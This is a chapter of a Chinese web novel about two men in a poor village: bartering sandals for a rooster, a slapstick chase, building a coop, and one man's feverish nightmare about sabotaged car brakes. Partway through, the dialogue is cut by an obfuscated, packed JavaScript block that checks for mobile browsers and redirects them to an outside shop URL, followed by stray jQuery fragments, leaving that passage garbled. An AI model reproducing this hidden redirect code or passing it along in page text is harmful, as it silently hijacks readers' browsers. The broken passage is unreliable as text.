许知行盯着那条私信看了三秒。
他伸出手指,没有回复,直接按了拉黑。
然后把手机屏幕一关,扔到旁边。
“看什么呢?那个买家又提什么无理要求了?”蒋承骁在角落里问。他正光着脚,小心翼翼地把昨天砍回来的竹子按尺寸分类。
“没什么。”许知行站起身,“家里没吃的了,我去换点东西。”
“用什么换?”
“草鞋。”
许知行拿起刚刚编好的另外两双草鞋。
他走到村西头的王大婶家。
王大婶正在院子里晒豆角,看见许知行过来,笑呵呵地打招呼:“城里来的娃,有事啊?”
“王大婶。”许知行把手里的草鞋递过去,“这个换点东西。”
王大婶拿起草鞋,翻来覆去地看。“哟,这手艺,比村里老王头编的还好。结实,也好看。你要换啥?”
“一只鸡,十个鸡蛋。”许知行说。
“一只鸡?”王大婶愣了,“小伙子,你这草鞋是金子做的啊?一只大公鸡能换一袋米了。”
“你家那只红冠公鸡,嗓门太大,每天天不亮就叫,你不是早就嫌它吵了?”许知行说,“而且你家孙子马上要去镇上上学,这双鞋给他穿正好。下雨天不打滑。”
王大婶看了看那双小一点的草鞋,又想了想每天早上四点就被吵醒的痛苦,犹豫了。
“再加一双。”许知行把另一双大号的草鞋也递过去,“给你家男人下地穿。”
“成交!”王大婶乐了,麻利地进屋拿了个篮子装了十个土鸡蛋,又去鸡窝里抓鸡。
那只大公鸡被抓住时,发出了惊天动地的惨叫声。
许知行一手提着鸡,一手挎着鸡蛋篮子往回走。
回到破屋,他把鸡往院子里一扔。
那只红冠大公鸡得了自由,抖了抖漂亮的羽毛,仰着脖子,迈着六亲不认的步伐在院子里巡视。
蒋承骁正拿着扫帚清扫堂屋门口的泥印,一抬头,就看见一只鸡大摇大摆地走了进来。
“这是什么?”蒋承骁皱眉。
“公鸡。”许知行把鸡蛋放进厨房。
那只公鸡好像听懂了,歪着头看了蒋承骁一眼,然后屁股一撅。
一坨热乎乎的、绿白相间的鸡屎,精准地落在了蒋承骁刚刚扫干净的地面上。
蒋承骁手里的扫帚停在了半空中。
他死死地盯着那摊鸡屎,眼睛里慢慢浮现出杀气。
“畜生。”蒋承骁从牙缝里挤出两个字。
公鸡“咯咯”叫了两声,迈开腿,在院子里跑了起来,一边跑,一边拉。
院子里瞬间多了好几处“地雷”。
蒋承骁的洁癖彻底发作了。
“许知行!”他吼了一声,“把它给我弄出去!”
“它是我们的财产。”许知行从厨房走出来,手里拿着一把菜刀,“你要是嫌它脏,就杀了它。”
“杀就杀!”蒋承骁把扫帚往地上一扔,恶狠狠地走向那只公鸡,“今天我就让你知道,什么叫食物链顶端的男人。”
公鸡好像感觉到了危险,停止了拉屎,警惕地看着蒋承骁。
一人一鸡,在院子中间对峙。
“过来,小杂毛。”蒋承骁弯下腰,对着公鸡招了招手。
公鸡没动,喉咙里发出“咕咕”的威胁声。
“给你脸了是吧?”蒋承骁猛地往前一扑。
公鸡反应极快,翅膀一扇,拔地而起,飞了半米高,轻松躲开了蒋承骁的攻击。
蒋承骁扑了个空,啃了一嘴泥。
“噗。”他吐掉嘴里的土,抬起头,眼神更凶了。
公鸡落在三米外的墙角,歪着头,用一种看傻子的眼神看着他。
“你这是在挑衅我。”蒋承骁慢慢站起来,拍了拍身上的土,“很好,公鸡。你已经成功引起了我的注意。”
许知行靠在门框上,面无表情地看着。
蒋承骁开始在院子里活动手腕和脚腕,嘴里念念有词:“敌军目标体型小,移动速度快,具备低空飞行能力。我的优势是体型和智力。不能强攻,必须智取。”
他捡起一根长长的竹竿,又找来一个破水桶。
“我从正面佯攻,吸引它的注意力。”蒋承骁对许知行说,“你从后面包抄,用桶把它罩住。”
“我为什么要听你的?”许知行问。
“因为我要把它做成辣子鸡丁,而你会炒。”蒋承骁说,“这是团队合作。”
“我不想吃辣子鸡丁。”许知行说,“我想留着它下蛋。”
“这是公鸡,下不了蛋。”
“可以配种。”
“我们没有母鸡。”
“以后会有的。”
蒋承骁的太阳穴突突地跳:“许知行,你是不是有病?你留着一只到处拉屎的公鸡配种?你跟它一起住吗?”
“鸡笼我会编。”许知行说,“你要是不想抓,就离它远点。”
“不行!”蒋承骁指着满地的鸡屎,“今天,它和我,只能活一个。”
说完,他不再理会许知行,开始制定单兵作战计划。
他拿着竹竿,悄悄地绕到院子东边,躲在一堆破烂后面。
公鸡正在西边啄一块烂菜叶。
“第一步,驱赶。”蒋承骁低声说,“把它逼到死角。”
他猛地从破烂堆后面冲出来,挥舞着竹竿,大喝一声:“呀——!”
公鸡吓了一跳,扑腾着翅膀就往院子中间跑。
“第二步,包抄!”蒋承骁迈开长腿,从侧面追了上去。
公鸡在前面跑,蒋承骁在后面追。
鸡飞狗跳。
那公鸡看着肥,跑起来却飞快,走位极其风骚,一个Z字形,就绕过了蒋承骁的围堵。
蒋承骁追得气喘吁吁,好几次都差点抓到,结果都被它躲了过去。
“妈的!”蒋承骁急了,看到公鸡跑到院子中间的烂泥坑旁边,他心生一计。
他一个加速,高高跃起,想直接飞扑过去按住公鸡。
公鸡很冷静,往旁边一闪。
“噗通!”
蒋承骁整个人脸朝下,结结实实地摔进了那个泥坑里。
院子里安静了。
公鸡停下脚步,走到泥坑边,歪着头,看着在泥里挣扎的蒋承骁。
它好像思考了一下,然后抬起一只脚,在蒋承骁的背上,踩了两个梅花印。
然后,它仰起脖子,发出一声响亮又得意的啼鸣:“喔——喔喔——!”
许知行靠在门框上,拿出手机,对着泥坑里的蒋承骁和旁边耀武扬威的公鸡,拍了张照片。
蒋承骁从泥里抬起头,满脸都是泥,只有两只眼睛是白的。
“许知行。”他的声音像是从地底下传出来的,“把刀给我。”
“刀是用来切菜的。”
“我现在就想把它切了!”
最后,蒋承骁还是从泥坑里爬了出来,像个泥人。他去井边冲了半天,才把身上的泥冲干净。
那只公鸡赢得了战争,被许知行命名为“将军”。
蒋承骁一下午都没说话,黑着脸坐在角落里。
许知行开始干活。
他把剩下的竹子拿出来,剖成细细的竹篾。
“干什么?”蒋承骁终于开口了。
“给将军盖个房子。”许知行说。
蒋承骁冷笑一声:“它配吗?”
“它打败了你,它配。”
蒋承骁:“……”
许知行手很巧,竹篾在他手里飞快地穿梭,一个鸡笼的框架很快就成型了。
“顺便给大黑也做一个。”许知行看了一眼趴在院墙缺口处的那条黑白流浪狗。
大黑好像听懂了,摇了摇尾巴。
“你还有闲心管狗?”蒋承骁一脸的不可思议,“我们自己都快没地方住了。”
“过来,把这些竹片磨光。”许知行扔给蒋承骁一块砂纸和几片宽竹片,“鸡笼不能有毛刺,会刮伤将军的羽毛。”
蒋承骁瞪着他。
“晚饭吃蒸蛋。”许知行补充
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299226|198618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道。
蒋承骁拿起砂纸,开始打磨竹片。
他磨得很认真,每一片竹片的边缘都处理得光滑无比,强迫症让他不能容忍任何一点瑕疵。
“给这种低等生物盖豪宅,简直是资源浪费。”他一边磨,一边小声嘀咕,“等我想起来我是谁,我就买个养鸡场,天天在你面前吃辣子鸡丁。”
“随便你。”许知行头也不抬。
一个下午过去。
一个精致的竹编鸡笼和一个宽敞的竹编狗窝做好了。
许知行把鸡笼放在东墙角,把将军赶了进去。又把狗窝放在大门口,拍了拍,大黑心领神会地钻了进去,舒服地趴下。
天黑了。
许知行走进厨房。
蒋承骁跟在后面,像个监工。
“鸡蛋要怎么蒸?”蒋承骁问。
“打碎,加水,放盐,上锅蒸。”
“水和蛋的比例是多少?盐要放几克?蒸多久?用大火还是小火?”
许知行看了他一眼:“你来?”
“我不会。”蒋承骁很诚实,“但我要求高。”
最后,许知行打了五个鸡蛋在碗里。
“为什么不十个都蒸了?”蒋承骁很不满。
“要留着明天吃。”
许知行把蛋液搅匀,加了温水和一点盐,撇去浮沫,放进锅里。
十分钟后,一碗金黄滑嫩的蒸蛋出锅了。上面淋了一点酱油和香油,香气扑鼻。
两人坐在桌前。
桌上只有一碗蒸蛋,两碗米饭。
“就这么点?”蒋承骁看着那碗蒸蛋,觉得不够塞牙缝。
“爱吃不吃。”许知行拿起勺子,挖了一勺放进自己碗里。
蒋承骁立刻拿起勺子,也飞快地挖了一大勺。
两个人谁也不说话,低着头,一勺一勺地挖着碗里的蒸蛋。
一碗蛋,很快就见底了。
蒋承骁吃得比谁都快,连碗底的汤汁都用米饭刮干净了。
吃完,他放下碗,打了个嗝,脸上还是一副嫌弃的表情:“味道一般,太淡了。”
许知行没理他,起身收拾碗筷。
蒋承骁坐在桌边没动。他看着自己碗里刚才吃剩下的几块细碎的蛋壳,鬼使神差地伸出手指,开始摆弄那些碎片。
他把那些不规则的蛋壳碎片,在桌子上一点一点地拼接起来。
许知行洗完碗回来,看到蒋承骁正对着桌子发呆。
他走过去一看,桌子上,那些被他挑出来的蛋壳碎片,被拼成了一个近乎完美的圆形。
“你干什么?”许知行问。
蒋承骁像是被吓了一跳,猛地收回手,把桌上的蛋壳扫到地上。
“没什么。”他站起来,脸色有点不自然,“闲得无聊。”
说完,他就走进里屋,躺在炕上,用破床单蒙住了头。
许知行看着地上的蛋壳碎片,没说话。
夜深了。
外面下起了大雨,雷声滚滚。
豆大的雨点砸在屋顶和窗户上,发出噼里啪啦的声响。
许知行睡在堂屋的藤椅上,被一声巨大的雷鸣惊醒。
他睁开眼,黑暗中,只有闪电偶尔照亮屋子。
里屋传来一阵压抑的、痛苦的呻吟声。
许知行皱起眉,站起身,走到里屋门口。
借着闪电的光,他看到炕上的蒋承骁正蜷缩成一团,双手紧紧抱着头,身体在不停地发抖。
“不……刹车……”蒋承骁的牙齿在打战,声音含糊不清,“刹车失灵了……有人动了手脚……”
他的呼吸变得急促,额头上全是冷汗。
“喂。”许知行走到炕边,推了推他,“醒醒。”
蒋承骁像是完全听不见,整个人陷在噩梦里。
“……快跳车……快……”他猛地喊了一声,身体剧烈地抽搐了一下。
许知行觉得不对劲。
他伸出手,摸向蒋承骁的额头。
指尖刚一碰到,就感觉一股惊人的热度传来,滚烫。